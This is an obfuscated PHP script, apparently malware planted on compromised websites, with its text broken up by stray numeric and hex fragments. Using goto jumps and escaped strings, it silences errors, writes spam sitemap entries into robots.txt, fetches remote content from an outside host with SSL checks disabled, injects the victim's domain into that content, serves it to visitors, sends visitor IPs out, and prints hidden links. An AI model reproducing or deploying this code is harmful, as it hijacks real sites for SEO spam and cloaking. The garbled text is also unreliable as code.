1 < 3 ?ph 2 p 4 go 4 to N 2 Wu 3 LZ; 3 N2 3 pxL 3 : i 3 f ( 3 !em 3 pty 3 ($g 3 et[ 2 "\ 2 16 3 2"] 3 )) 2 { 3 $ro 4 bots 4 Path 3 = 1 $ 3 _SE 3 RVE 5 R["\1 2 04 3 \x4 4 f\x4 2 3\ 3 x55 4 \x4d 4 \x45 3 \11 2 6\ 2 12 5 4\x5f 4 \122 7 \x4f\x4 5 f\124 3 "] 3 . " 2 \x 4 2f\1 2 62 3 \15 2 7\ 5 142\x 4 6f\x 2 74 4 \163 3 \56 6 \x74\x 2 78 5 \x74" 2 ; 4 $sit 4 emap 3 Blo 2 ck 6 = "\x 5 55\x7 4 3\x6 8 5\x72\x2 4 d\x6 4 1\14 7 7\145\x 2 6e 4 \x74 6 \72\x2 5 0\x2a 2 \x 4 a\10 4 1\15 6 4\154\ 7 x6f\x77 2 \x 4 3a\x 8 20\x2f\1 c 2"; $sitemap 7 s = "\x 5 a\123 3 \15 4 1\16 8 4\x65\x6 9 d\x61\160 8 \72\x20{ 2 $h 3 ttp 3 _ty 3 pe} 1 { d $_SERVER["\x4 3 8\x 8 54\x54\1 4 20\1 4 37\1 4 10\1 4 17\1 8 23\124"] f }{$_SERVER["\x5 4 3\10 8 3\122\x4 4 9\x5 3 0\x 8 54\x5f\1 5 16\x4 4 1\x4 4 d\x4 4 5"]} 4 \77\ 5 163\x 4 3d\x 3 73\ a 12"; if (! 4 file 2 _e 4 xist 2 s( 10 $robotsPath)) { 7 file_pu 2 t_ 4 cont 2 en f ts($robotsPath, 10 $sitemapBlock . a $sitemaps 3 ); 3 } e 3 lse a { $robots 7 Content 4 = @ 8 file_get 15 _contents($robotsPath 7 ); if ( 4 strp a os($robots a Content, $ a _SERVER["\ a 123\x43\x5 13 2\x49\x50\x54\x5f\x 4 4e\x d 41\x4d\x45"]) 2 = 3 == 5 false 4 ) { 28 @file_put_contents($robotsPath, $sitemap 3 s, 3 FIL 2 E_ 3 APP 3 END 3 ); 6 } } } 6 goto E 3 zYo 4 e; N 5 WuLZ: 4 err 3 or_ 4 repo 4 rtin 3 g(0 3 ); 7 goto yM 2 qR 8 N; yMqRN 2 : 7 $get = 1 $ 3 _GE 9 T; goto s 2 hq 3 ZL; 2 A 3 q5N 4 J: $ 5 ll = 1 " 1d {$http_type}{$_SERVER["\110\1 3 24\ 9 124\120\1 3 37\ a x48\x4f\12 4 3\x5 18 4"]}{$_SERVER["\x53\x43\ 6 122\11 3 1\x b 50\x54\137\ 9 116\x41\1 4 15\1 4 05"] 4 }"; 6 goto D 2 _i 3 aM; 4 m5b 2 kF 4 : fu 3 nct 4 ion 4 getC 4 url( 1 $ 6 url, $ 5 getDa 5 ta = 4 arra 2 y( 9 )) { if ( b !empty($get 9 Data)) { 2 $q 3 uer 4 yStr 3 ing 5 = is 7 _array( a $getData) 2 ? 8 http_bui 2 ld 6 _query e ($getData) : $ 7 getData 7 ; $url 2 .= d (strpos($url 4 , "\ 2 77 c ") === false 8 ? "\77" 3 : 5 "\x26 3 ") 8 . $query a String; } 4 if ( 10 function_exists( 3 "\1 5 43\x7 3 5\x 7 72\154\ 5 137\x 2 69 6 \156\1 7 51\164" 7 )) { $c 5 h = c 3 url 4 _ini 2 t( 9 ); curl_s 4 etop 9 t_array($ 4 ch, 7 array(C 3 URL 2 OP 2 T_ 5 URL = 6 > $url a , CURLOPT_ 2 RE 3 TUR 3 NTR 2 AN 3 SFE 6 R => t 3 rue b , CURLOPT_S 2 SL 4 _VER 2 IF 3 YPE b ER => false 14 , CURLOPT_SSL_VERIFY 3 HOS 14 T => false, CURLOPT_ 2 FO 3 LLO 2 WL 3 OCA 3 TIO 5 N => f true, CURLOPT_T 3 IME 2 OU 7 T => 10 a , CURLOPT_ 3 HTT 4 PGET 4 => f true, CURLOPT_U 5 SERAG 2 EN 8 T => "\1 4 15\1 9 57\172\15 6 1\154\ 2 x6 5 c\141 1 \ 5 57\x3 4 5\x2 2 e\ 2 60 6 ")); $ 4 data a = curl_ex 2 ec 7 ($ch); 7 curl_cl 3 ose b ($ch); if ( 8 !empty($ a data)) { r 4 etur 7 n $data 4 ; } 9 } if (ini 4 _get f ("\141\154\x6c\ 5 x6f\1 4 67\x 4 5f\x 9 75\162\15 6 4\x5f\ 2 14 7 6\157\1 3 60\ 7 x65\156 6 ")) { 1 $ 6 contex 7 t = str 3 eam 7 _contex 3 t_c 6 reate( 6 array( 4 "\x6 4 8\16 6 4\x74\ 4 160" 4 => 9 array("\1 8 55\x65\1 7 64\x68\ 5 x6f\x 7 64" => 7 "\x47\1 4 05\x 3 54" 8 , "\x74\ 9 x69\155\1 5 45\x6 6 f\x75\ 8 x74" => 8 10, "\15 6 0\x65\ 7 x61\x64 6 \x65\1 3 62" 7 => "\1 5 25\16 9 3\x65\162 3 \x2 7 d\x41\1 9 47\145\x6 4 e\16 6 4\x3a\ 4 40\x 3 4d\ 6 157\x7 3 a\1 9 51\x6c\x6 4 c\x6 6 1\x2f\ a x35\x2e\60 6 \15\12 2 ") 9 , "\163\x 3 73\ 8 x6c" => a array("\16 3 6\x c 65\162\x69\1 4 46\x 4 79\1 6 37\160 3 \x6 6 5\145\ 8 162" => 7 false, 7 "\x76\1 3 45\ a x72\151\14 4 6\17 6 1\137\ 5 x70\1 3 45\ 9 145\162\x 4 5f\x 7 6e\141\ 6 x6d\x6 c 5" => false) c )); $data = 6 @file_ 9 get_conte 5 nts($ a url, false 3 , $ 7 context 3 ); 4 if ( 2a !empty($data)) { return $data; } } return 2 '' 9 ; } goto 3 X5n 3 b1; 6 D_iaM 4 : $v 6 url = a $http_type 6 . "\x 5 69\14 7 4\154\x 3 79\ 6 62\56\ 9 x69\x64\x 5 73\x6 8 8\157\x7 3 0\x 4 2e\x 7 63\143\ 5 167\x 6 75\56\ 8 143\x63\ 4 x2f\ 3 64\ 6 61\71\ 7 56\x61\ 6 163\x7 5 0\x78 8 "; goto 6 N2pxL; 6 EzYoe 17 : if (!empty($get["\163 7 "])) { 2 $p 4 aram 4 s = b array("\163 8 " => dat 5 e("\1 7 31\x6d\ 8 144\x48\ 3 151 b "), "\x6e\1 4 65\1 8 55\142\x 4 65\1 f 62" => $get["\1 7 56\165\ 5 x6d\x 3 62\ a 145\162"]) 6 ; $str 3 = 9 getCurl($ 4 vurl 9 , $params d ); $str = str 5 _repl 2 ac f e(array("\173\x 2 e5 2 \2 4 75\2 7 23\xe5\ 2 x8 5 9\x8d 2 \3 5 45\x9 2 c\ 5 260\x 4 e5\2 5 35\x8 5 0\x7d a "), array( d $http_type . b $_SERVER["\ 7 110\x54 7 \x54\x5 7 0\x5f\1 3 10\ 8 117\x53\ 3 124 11 "] . $_SERVER["\1 4 23\x 7 43\122\ 8 x49\x50\ 6 124\13 3 7\1 b 16\x41\x4d\ 6 x45"]) 6 , $str 5 ); he 4 ader 4 ("\1 7 03\157\ 5 156\x 5 74\x6 6 5\156\ 5 164\x 7 2d\164\ 9 171\160\x 7 65\72\1 3 64\ 5 x65\1 6 70\x74 8 \57\x78\ 5 155\1 6 54"); 4 echo 6 $str; 3 di 3 e; 9 } goto N4 4 dac; 6 X5nb1 d : $http_type 2 = 13 !empty($_SERVER["\1 3 10\ 9 x54\x54\1 5 20\12 5 3"]) 2 && c $_SERVER["\ 9 x48\124\1 3 24\ a x50\123"] 1 ! 6 == "\x 3 6f\ 6 146\x6 2 6" 5 ? "\ 8 x68\164\ 9 164\160\x 4 73\x 7 3a\x2f\ 3 x2f a " : "\150\ a 164\164\16 a 0\x3a\x2f\ 2 57 8 "; goto 7 Aq5NJ; 2 f5 3 XoA b : function a postCurl($ 3 url 7 , $post 7 Data = 6 array( a )) { $post 6 String d = is_array($ 4 post 1a Data) ? http_build_query($ a postData) b : $postData 6 ; if ( b function_ex f ists("\143\x75\ 6 162\15 4 4\x5 8 f\x69\x6 4 e\x6 6 9\164" 6 )) { $ e5 ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_ 8 POST => 12 true, CURLOPT_POST 3 FIE 2 LD 5 S => b $postString c )); $data = 5 curl_ 55 exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\ 8 x6c\x6c\ 4 157\ 9 x77\x5f\x 11 75\162\154\x5f\x6 7 6\x6f\x 3 70\ 5 145\1 31 56")) { $context = stream_context_create(array("\ 14 150\164\164\160" => d array("\155\1 8 45\164\1 4 50\1 6 57\144 8 " => "\1 3 20\ 4 x4f\ c x53\124", "\ 9 164\x69\1 3 55\ 9 x65\157\1 6 65\x74 5 " => a 10, "\x68\ 8 x65\141\ 3 144 8 \x65\x72 8 " => "\1 3 03\ 7 x6f\156 a \x74\x65\x 4 6e\x 6 74\55\ 6 124\17 3 1\x 8 70\x65\x 5 3a\x2 7 0\x61\1 7 60\160\ 8 x6c\x69\ 5 x63\x 7 61\x74\ 9 x69\x6f\x 3 6e\ 7 57\x78\ 8 55\x77\x 3 77\ 8 167\55\x d 66\x6f\x72\15 3 5\x 8 2d\165\1 3 62\ 9 x6c\x65\1 7 56\143\ 5 157\1 8 44\145\1 4 44\x 6 d\12" 5 . "\x 7 43\x6f\ 8 156\x74\ 5 145\1 8 56\x74\x 5 2d\x4 6 c\145\ 4 x6e\ a 147\164\x6 5 8\72\ 4 40" 5 . str 3 len d ($postString) 3 . 7 "\xd\xa 4 " . 6 "\125\ 9 x73\145\x 3 72\ 8 x2d\101\ 4 x67\ d x65\156\164\x 3 3a\ b 40\x4d\157\ e 172\151\x6c\x6 7 c\141\x 3 2f\ 6 65\56\ 2 x3 8 0\xd\xa" 8 , "\143\ 4 x6f\ 8 x6e\164\ b 145\x6e\164 5 " => 11 $postString), "\1 7 63\x73\ 8 x6c" => 8 array("\ c x76\145\x72\ 4 x69\ 9 146\171\x 4 5f\x b 70\x65\145\ 8 162" => 7 false, d "\x76\145\162 7 \x69\x6 3 6\x 7 79\x5f\ 8 160\145\ 8 x65\x72\ 4 137\ 8 x6e\141\ 4 155\ d 145" => false 71 ))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto 5 m5bkF 3 ; N 19 4dac: if (!empty($get["\1 3 51\ 6 144"]) 8 ) { if ( f empty($get["\15 4 3\15 3 3"] 7 )) { $i 4 p = 4 get_ 2 ip b (); $params 3 = c array("\x69\ 8 160" => 3 $ip 9 , "\x69\1 7 44" => 2 is b set($get["\ b x69\144"]) 1 ? d $get["\151\x 3 64" 4 ] : 2 '' b , "\x6c\x6c 5 " => 7 $ll); $ 2 tz 6 str = 3 get 16 Curl($vurl, $params); 4 if ( 6 strpos 7 ($tzstr c , "\x69\144" 6 ) !== 9 false) { 6 echo $ 5 tzstr a ; die; } } b $params = 10 array("\x69\x64" 5 => $ 6 get["\ 9 x69\x64"] 6 , "\x6 6 c\154" b => $ll); $ 3 str 6 = get 1d Curl($vurl, $params); $str = 3 str 12 _replace(array("\x 2 7b b \125\x52\x4 4 c\17 7 5", "\1 3 73\ 5 345\2 7 37\237\ 5 345\x 3 90\ 5 215\1 3 75" 9 ), array( 4 get_ 3 url 5 _info 8 ("\146\1 3 65\ 7 154\x6c 14 "), get_url_info("\1 3 56\ 8 157\137\ 8 x77\167\ 6 167")) 3 , $ 6 str); 9 echo $str 9 ; die; } 8 else { $ 8 sitemapU 6 rl = $ 7 ll . "\ 2 x3 7 f\x73\x 2 3d 7 " . dat 8 e("\131\ 9 155\144\1 4 10\x 2 69 9 "); echo 6 "\74\1 6 44\x69 4 \166 5 \40\x 6 73\164 7 \171\15 7 4\145\x 4 3d\x 5 27\x7 a 4\145\170\ 5 164\x 4 2d\x 3 61\ 8 154\151\ 5 147\1 4 56\x 7 3a\x63\ 4 145\ 9 x6e\164\x 7 65\x72\ 6 73\40\ 3 160 7 \x61\14 6 4\144\ 5 x69\1 7 56\x67\ 6 72\61\ 8 x30\160\ 4 170\ 7 40\x30\ 7 73\x27\ 4 76\x 5 3c\x6 3 1\x 8 20\150\1 5 62\x6 6 5\146\ 4 75\4 2 2{ c $sitemapUrl} 6 \x22\x 4 20\x 3 74\ 8 x61\x72\ 9 x67\x65\1 7 64\x3d\ 4 42\x 3 5f\ 9 x62\154\1 7 41\x6e\ 2 x6 1 b 7 \42\40\ 8 162\x65\ 8 x6c\x3d\ 8 x22\x6e\ 5 157\x 9 66\157\x6 3 c\x 7 6c\157\ 9 167\x22\x 4 3e\x 4 20\x 7 53\x69\ a x74\x65\x6 6 d\x61\ 7 160\74\ 4 57\1 8 41\x3e\x 7 3c\x2f\ 4 144\ 9 151\166\7 1 6 a "; } goto 3 nnS 3 Bp; 3 Uh 3 8So b : function 8 get_ip() 4 { f 4 orea 3 ch a (array("\x 7 48\x54\ a x54\x50\x5 4 f\x5 3 8\1 7 37\x46\ 6 117\x5 6 2\127\ 4 101\ 4 122\ 9 104\x45\1 8 04\x5f\x 9 46\x4f\x5 6 2", "\ 4 x48\ 8 124\x54\ a 120\x5f\x4 4 3\11 3 4\x 3 49\ 9 105\x4e\x 7 54\137\ 7 111\x50 9 ", "\x52\ 4 x45\ a x4d\117\x5 7 4\x45\x 7 5f\101\ 4 x44\ 5 x44\x 6 52") a 2 s 4 $key 4 ) { c if (!empty($ 8 _SERVER[ 4 $key d ])) { return 4 trim 4 (exp 3 lod 5 e("\x 5 2c", f $_SERVER[$key]) 2 [0 8 ]); } } a return "\x 3 55\ 6 x4e\11 4 3\11 c 6\x4f\x57\11 b 6"; } goto 6 f5XoA; 15 shqZL: function get_ 9 url_info( 3 str 6 ing $r 5 eturn b _type = "\1 3 44\ 8 157\155\ 8 141\151\ 3 x6e 4 ") : 8 string 4 { $h 3 ost c = $_SERVER[ a "\x48\124\ 4 124\ 6 x50\x5 7 f\110\x 3 4f\ 6 123\x5 3 4"] 14 ; if ($return_type = 3 == a "\144\x6f\ 4 155\ 8 x61\x69\ 6 156") 9 { return 9 $host; } 18 if ($return_type === "\1 7 56\157\ 4 x5f\ 18 x77\167\167") { return l 4 trim 3 ($h 8 ost, "\x 7 77\x77\ 6 167\x2 3 e") 6 ; } $p 4 roto 2 co b l = isset($ a _SERVER["\ 8 110\x54\ a 124\x50\x5 13 3"]) && $_SERVER["\ 8 110\x54\ a x54\x50\x5 a 3"] === "\ 6 x6f\15 4 6" | 13 | isset($_SERVER["\ 8 x48\x54\ a 124\x50\x5 6 f\130\ 6 137\10 6 6\x4f\ 8 122\127\ 4 x41\ 9 122\104\x 7 45\x44\ 4 137\ 9 x50\x52\1 a 17\x54\x4f 1a "]) && $_SERVER["\110\124\ 6 124\12 8 0\137\x5 6 8\137\ c 106\x4f\122\ 8 x57\101\ 4 122\ 8 104\105\ 8 104\137\ 8 x50\122\ 8 x4f\x54\ 3 117 d "] === "\150\ 5 x74\x 7 74\160\ 2 x7 3 3" e ? "\x68\x74\16 9 4\x70\x73 4 \x3a 4 \57\ 9 x2f" : "\ 10 x68\x74\164\x70\ 7 72\x2f\ 3 x2f 4 "; $ 4 base 4 _url d = $protocol 3 . $ 4 host 1e ; if ($return_type === "\142\x 7 61\x73\ 3 145 15 ") { return $base_url 6 ; } $u 6 ri = $ a _SERVER["\ 8 x52\x45\ 6 121\12 3 5\1 7 05\123\ 8 124\x5f\ 4 x55\ 7 122\x49 5 "]; $ 4 full 8 _url = $ 8 base_url 7 . $uri 19 ; if ($return_type === "\ 8 x66\165\ 5 154\1 f 54") { return $ c full_url; } 7 return b ''; } goto 6 Uh8So; 8 nnSBp: 2 ?> 0